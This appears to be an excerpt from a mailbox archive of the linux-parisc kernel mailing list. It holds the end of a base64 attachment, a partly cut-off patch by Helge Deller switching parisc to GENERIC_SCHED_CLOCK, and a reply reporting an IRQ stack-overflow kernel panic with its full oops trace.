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

--dDRMvlgZJXvWKvBx--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:39:19 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Switch to GENERIC_SCHED_CLOCK implementation
Date: Tue, 22 Nov 2016 18:08:30 +0100
Lines: 115
Approved: news@gmane.org
Message-ID: <20161122170830.GA4045@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1479834587 30295 195.159.176.226 (22 Nov 2016 17:09:47 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 Nov 2016 17:09:47 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 22 18:09:41 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c9EZf-0006Ic-Nu
	for glpp-linux-parisc@m.gmane.org; Tue, 22 Nov 2016 18:09:40 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754592AbcKVRJh (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 22 Nov 2016 12:09:37 -0500
Original-Received: from mout.gmx.net ([212.227.17.22]:50109 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754461AbcKVRJf (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 22 Nov 2016 12:09:35 -0500
Original-Received: from p100.box ([92.203.26.130]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0Lh7M3-1cV2ms4BB1-00oUsU; Tue, 22
 Nov 2016 18:08:34 +0100
Content-Disposition: inline
X-Provags-ID: V03:K0:K2WenqbR7XH0uoO2m3rvrWG7szD7zFm3cL4jvTonygAO2pjXV8m
 PtFmhBfidjf4b0Mf2zeRRBwgv5X+kk20oOwBCk7OchhDEOcqRe/5JRqUv6G9g3XVJ6XOfmB
 8IgwqQKu/nfS1aYViIrKCiX9/sv1aJTmk8gvLAQwm/K03Iz8MTW8PK78nLtdMB3I86+IKZ+
 +7KbDFJtumPEXrGfXrt/w==
X-UI-Out-Filterresults: notjunk:1;V01:K0:VuGVThprNFs=:PZaWbVHGXCSBmIErc0t1Df
 vVM0u/k2VoOie8UdNv7XgUaxL/jgxcWc14cR92AvZrYR5dNi3BVV86U+7D2tFhsX0qInDzGpJ
 N8sad9H1QjRjQS00AysD/XgCgL49r5ue3Ibc0PieKaOrMZwJnhq0wr6rceEbrJHdnffEBfqGf
 zkkWiFzVuX4Zrn+a7gJPE9uYsnBfNyo8+hmly5we9o/HOU8oVq+1AcXX4kkDIl3KZAsqxOZ97
 BHaMPmzP8792NbBWB81KyaabtPMMlkeZNEZy3JkwYO9yGiuSg41oRXDI0ptknY5cy8R8n1uQH
 3m59GGJ1yczhrydegusETjJlX8/0HXgLQIl1DemvPggp+41AFvQYKwDPgC4QtUp06v1h6PLcg
 y73LOnbvSilJ+e2VAtmDaOz39o36yAOsR5atb4eAopcqMHyuJgLdHctf6Hg9cm6ByxiJiz9XE
 AlUQItthurmfdt8Ig11tfqPfx5pJIiP6YN2H25wm35eGLwSu7qSlOx9kFLM3Wd609y1zTOhUR
 Vov9B4aIGT3cNTlUi/no5w6yI5zeVSEUpZ4YY7pk8kbuCs9yS5dBbX+HB4m0juYSxisGdAVjC
 fMBxW4MEGGpPN7ztDXIWEwFxfAX/0+GE+9+jz5e4WU8M18y2SLbr7B5PFW0MUY6+Qv1xr0vyq
 O2jIoUzYUbUpcu6JpckrxjXFElbvg51xVR85vuVC8oC5UIlf65kQ6n4XxXPTVzD6ZSgNI/YGU
 Snh9kf2uqNb3ISMNb42grqLo/vgiJcEFGbEX3O79E98czkdFZ73PnjB795c=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27065
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27065>

Drop the open-coded sched_clock() function and replace it by the provided
GENERIC_SCHED_CLOCK implementation.  We have seen quite some hung tasks in the
past, which seem to be fixed by this patch.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/Kconfig b/arch/parisc/Kconfig
index 71c4a3a..05c8980 100644
--- a/arch/parisc/Kconfig
+++ b/arch/parisc/Kconfig
@@ -34,7 +34,8 @@ config PARISC
 	select HAVE_ARCH_HASH
 	select HAVE_ARCH_SECCOMP_FILTER
 	select HAVE_ARCH_TRACEHOOK
-	select HAVE_UNSTABLE_SCHED_CLOCK if (SMP || !64BIT)
+	select GENERIC_SCHED_CLOCK
+	select HAVE_UNSTABLE_SCHED_CLOCK if SMP
 	select ARCH_NO_COHERENT_DMA_MMAP
 	select CPU_NO_EFFICIENT_FFS
 
diff --git a/arch/parisc/kernel/time.c b/arch/parisc/kernel/time.c
index 9b63b87..325f30d 100644
--- a/arch/parisc/kernel/time.c
+++ b/arch/parisc/kernel/time.c
@@ -14,6 +14,7 @@
 #include <linux/module.h>
 #include <linux/rtc.h>
 #include <linux/sched.h>
+#include <linux/sched_clock.h>
 #include <linux/kernel.h>
 #include <linux/param.h>
 #include <linux/string.h>
@@ -39,18 +40,6 @@
 
 static unsigned long clocktick __read_mostly;	/* timer cycles per tick */
 
-#ifndef CONFIG_64BIT
-/*
- * The processor-internal cycle counter (Control Register 16) is used as time
- * source for the sched_clock() function.  This register is 64bit wide on a
- * 64-bit kernel and 32bit on a 32-bit kernel. Since sched_clock() always
- * requires a 64bit counter we emulate on the 32-bit kernel the higher 32bits
- * with a per-cpu variable which we increase every time the counter
- * wraps-around (which happens every ~4 secounds).
- */
-static DEFINE_PER_CPU(unsigned long, cr16_high_32_bits);
-#endif
-
 /*
  * We keep time on PA-RISC Linux by using the Interval Timer which is
  * a pair of registers; one is read-only and one is write-only; both
@@ -121,12 +110,6 @@ irqreturn_t __irq_entry timer_interrupt(int irq, void *dev_id)
 	 */
 	mtctl(next_tick, 16);
 
-#if !defined(CONFIG_64BIT)
-	/* check for overflow on a 32bit kernel (every ~4 seconds). */
-	if (unlikely(next_tick < now))
-		this_cpu_inc(cr16_high_32_bits);
-#endif
-
 	/* Skip one clocktick on purpose if we missed next_tick.
 	 * The new CR16 must be "later" than current CR16 otherwise
 	 * itimer would not fire until CR16 wrapped - e.g 4 seconds
@@ -208,7 +191,7 @@ EXPORT_SYMBOL(profile_pc);
 
 /* clock source code */
 
-static cycle_t read_cr16(struct clocksource *cs)
+static cycle_t notrace read_cr16(struct clocksource *cs)
 {
 	return get_cycles();
 }
@@ -287,26 +270,9 @@ void read_persistent_clock(struct timespec *ts)
 }
 
 
-/*
- * sched_clock() framework
- */
-
-static u32 cyc2ns_mul __read_mostly;
-static u32 cyc2ns_shift __read_mostly;
-
-u64 sched_clock(void)
+static u64 notrace read_cr16_sched_clock(void)
 {
-	u64 now;
-
-	/* Get current cycle counter (Control Register 16). */
-#ifdef CONFIG_64BIT
-	now = mfctl(16);
-#else
-	now = mfctl(16) + (((u64) this_cpu_read(cr16_high_32_bits)) << 32);
-#endif
-
-	/* return the value in ns (cycles_2_ns) */
-	return mul_u64_u32_shr(now, cyc2ns_mul, cyc2ns_shift);
+	return get_cycles();
 }
 
 
@@ -316,17 +282,16 @@ u64 sched_clock(void)
 
 void __init time_init(void)
 {
-	unsigned long current_cr16_khz;
+	unsigned long cr16_hz;
 
-	current_cr16_khz = PAGE0->mem_10msec/10;  /* kHz */
 	clocktick = (100 * PAGE0->mem_10msec) / HZ;
-
-	/* calculate mult/shift values for cr16 */
-	clocks_calc_mult_shift(&cyc2ns_mul, &cyc2ns_shift, current_cr16_khz,
-				NSEC_PER_MSEC, 0);

From - Thu Nov 08 21:39:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Re-enable interrupts early
Date: Tue, 22 Nov 2016 18:18:35 +0100
Lines: 116
Approved: news@gmane.org
Message-ID: <e88682a3-8cab-694a-6ec2-cda19c0f222e@gmx.de>
References: <20161024195553.GA27612@p100.box>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1479835136 18663 195.159.176.226 (22 Nov 2016 17:18:56 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Tue, 22 Nov 2016 17:18:56 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101
 Thunderbird/45.4.0
To: linux-parisc@vger.kernel.org,
        James Bottomley <James.Bottomley@HansenPartnership.com>,
        John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Nov 22 18:18:51 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1c9EiX-0003X4-Fp
	for glpp-linux-parisc@m.gmane.org; Tue, 22 Nov 2016 18:18:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S932712AbcKVRSw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Tue, 22 Nov 2016 12:18:52 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:49324 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754243AbcKVRSv (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Tue, 22 Nov 2016 12:18:51 -0500
Original-Received: from [192.168.20.58] ([92.203.26.130]) by mail.gmx.com (mrgmx103
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MNqcR-1c7pwL3v1H-007R7u; Tue, 22
 Nov 2016 18:18:39 +0100
In-Reply-To: <20161024195553.GA27612@p100.box>
X-Provags-ID: V03:K0:X6qaVMqyXrZz1XvMk+FMOJKVDctWY1Mss7eDGVJFp6P82YG/5CK
 enzzWdCJ4+bYnCWNsQ2lIJDhfoX2whwbLGl51TXEgLyzF5EeoiKlfbYEIHWQHsK23CfEPLw
 k13fQlsSEzs05nmrGsT4SKJLwjYO3HIVryXvkXyiFaoPEQykeehqjGlPGDthZc9EElUYFuw
 GMFXSHdUmXJM5KuIm3bFQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:91laGnFV0QA=:LET240YT5bJOAVmZFluWEH
 HXZglHK1ywe1zWVX9iXYW+hkeQqKbh2n810V8e9KMTVMtH9WMedz3ZSYBM9K7fXLja6aAU91o
 tAjhTK3WwwIytxFpzzXGWVENYZ0SGorcgYMG0/Oi6Q7un6HcSHp5jUldSEoCClOu9L4R4TgCd
 qFUBcyU5CgUyWqnsAIUSMs16eKUGqAygcBsNNIpqTIk8tXAI24BZWSs5Uj6EgvTAo6Yk9BnYU
 Yl3EEQQWFy1FtTqBc+6yQuHq7CFwT0xmHY5XGwKg7A5TVNYgFtjMrasyJtQ2ZZof0NHov0CSF
 RrhTD15P7Z+Vu8ZLPdIOeVsknrw3Acp2DJWqY6yA4uiB4GSUl/I7oPtq3TH9cka3taQsXEcmP
 rlDCrNNjo8MelDcIAuWMRLEg5P28OOJl3iDsA/1mczbufnpjEscMiYEW5GQNTMJ18uH14GpEx
 0UVV2X/V1Z3TvsNd5ipyZOnLNZJd6QtcAGZSotODvkvjuD7bZCB+cwmV7UanvGAyjQ2fgHQ/S
 hKdaLzSDX3BjTgXLi6ZayVpU6TzrjUvmEWaE/5Oh1MRnmDbPJ0gnoWdRj7Ex0dmnA+1XQh7rO
 odZAH2F+mC63KJMVDgz95GlFpzsl7V2Z4vNSdS5m6jpv3fDEuwGvyBZlDWEaGp0rAH0bTBooa
 9CoT2itTfn3/AxQmxqUaZXVrZ8mQdIyRoSlwVI+q1V9lGi6uwoAjLC2svphYsul/kmGKApCHt
 zhtxQ3DoCYYnFoY32wf0vLli48mLz6Ils5PZRGBtY9mfWPp6a6GcpGjRWWkm95XUXGTq4LxP 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27066
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27066>

On 24.10.2016 21:55, Helge Deller wrote:
> Since kernel 3.9 we re-enable interrupts quite late due to commit c207a76bf15
> ("parisc: only re-enable interrupts if we need to schedule or deliver signals
> when returning to userspace"). At that time the parisc kernel had no dedicated
> IRQ stack, and this commit prevented kernel stack overflows.
> 
> But since commit 200c880420a ("parisc: implement irq stacks") we now have an
> IRQ stack, so we may be safe now.  And when CONFIG_DEBUG_STACKOVERFLOW=y is
> enabled, we can even check at runtime for overflows.


I've just seen a kernel panic, which I think to be triggered by this patch:

 
postfix: See http://www.postfix.org/COMPATIBILITY_README.html for details
postfix: To disable backwards compatibility use "postconf compatibility_level=2" and "postfix reload"
.
[   64.880230] stackcheck: swapper/1 will most likely overflow irq stack (sp:413abc7a40, stk bottom-top:413abc4028-413abc8028)
[   64.881281] Kernel panic - not syncing: low stack detected by irq handler - check messages
[   64.881281] 
[   64.881281] CPU: 1 PID: 0 Comm: swapper/1 Not tainted 4.9.0-rc6-64bit+ #564
[   64.881281] Backtrace:
[   64.881281]  [<000000004021a7d8>] show_stack+0x68/0x80
[   64.881281]  [<00000000407fcb8c>] dump_stack+0xec/0x168
[   64.881281]  [<000000004024c364>] panic+0x204/0x500
[   64.881281]  [<000000004021ddac>] do_cpu_irq_mask+0x3c4/0x480
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10
[   64.881281] 
[   64.881281]       _______________________________ 
[   64.881281]      < Your System ate a SPARC! Gah! >
[   64.881281]       ------------------------------- 
[   64.881281]              \   ^__^
[   64.881281]                  (__)\       )\/\
[   64.881281]                   U  ||----w |
[   64.881281]                      ||     ||
[   64.881281] swapper/1 (pid 0): Protection id trap (code 7)
[   64.881281] CPU: 1 PID: 0 Comm: swapper/1 Not tainted 4.9.0-rc6-64bit+ #564
[   64.881281] task: 000000007fd0ea90 task.stack: 000000007fd5c000
[   64.881281] 
[   64.881281]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[   64.881281] PSW: 00001000000001101111110100001110 Not tainted
[   64.881281] r00-03  000000ff0806fd0e 0000000040d8aca0 0000000140219ebc 000000413abc8070
[   64.881281] r04-07  0000000040d0b4a0 000000413abc8400 000000413abc8328 000000413abc8078
[   64.881281] r08-11  000000004021a7d8 000000413abc7fb0 00000000411860d0 000000413abc7a40
[   64.881281] r12-15  000000007fd5c2c0 0000000000000041 0000000000000041 0000000040d8b4a0
[   64.881281] r16-19  000000413abc7a40 0000000040d8c4a0 0000000000000004 000000000800000e
[   64.881281] r20-23  0000000000000001 000000413abc83f0 0000000000000000 0000000000000384
[   64.881281] r24-27  0000000000000000 000000004080e5d8 000000004036aed0 0000000040d0b4a0
[   64.881281] r28-31  0000000000000000 000000413abc8a70 000000413abc8400 0000000041145d94
[   64.881281] sr00-03  00000000003b2800 0000000000000000 0000000000000000 00000000003b2800
[   64.881281] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[   64.881281] 
[   64.881281] IASQ: 0000000000000001 0000000000000001 IAOQ: 0000000140219ebc 0000000140219ec0
[   64.881281]  IIR: 43ffff40    ISR: 0000000000000000  IOR: 0000000000000000
[   64.881281]  CPU:        1   CR30: 000000007fd5c000 CR31: 9cf8a6e3d01f680f
[   64.881281]  ORIG_R28: 000000413abc8540
[   64.881281]  IAOQ[0]: 0x140219ebc
[   64.881281]  IAOQ[1]: 0x140219ec0
[   64.881281]  RP(r2): 0x140219ebc
[   64.881281] Backtrace:
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10                                                                                            
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10                                                                                            
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10                                                                                            
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10                                                                                            
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10                                                                                            
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10                                                                                            
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10                                                                                            
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10                                                                                            
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10                                                                                            
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10                                                                                            
[   64.881281]                                                                                                                                       
[   64.881281] CPU: 1 PID: 0 Comm: swapper/1 Not tainted 4.9.0-rc6-64bit+ #564                                                                       
[   64.881281] Backtrace:                                                                                                                            
[   64.881281]  [<000000004021a7d8>] show_stack+0x68/0x80                                                                                            
[   64.881281]  [<00000000407fcb8c>] dump_stack+0xec/0x168                                                                                           
[   64.881281]  [<000000004021ab08>] die_if_kernel+0x2c0/0x3a8                                                                                       
[   64.881281]  [<000000004021b7fc>] handle_interruption+0x6dc/0xbb0                                                                                 
[   64.881281]  [<0000000040208084>] intr_check_sig+0x0/0x38                                                                                         
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10                                                                                            
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10                                                                                            
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10                                                                                            
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10                                                                                            
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10                                                                                            
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10                                                                                            
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10                                                                                            
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10                                                                                            
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10                                                                                            
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10                                                                                            
[   64.881281]  [<0000000040208074>] intr_return+0x0/0x10                                                                                            
[   64.881281]                                                                                                                                       
[   64.881281] Kernel panic - not syncing: Fatal exception in interrupt                                                                              
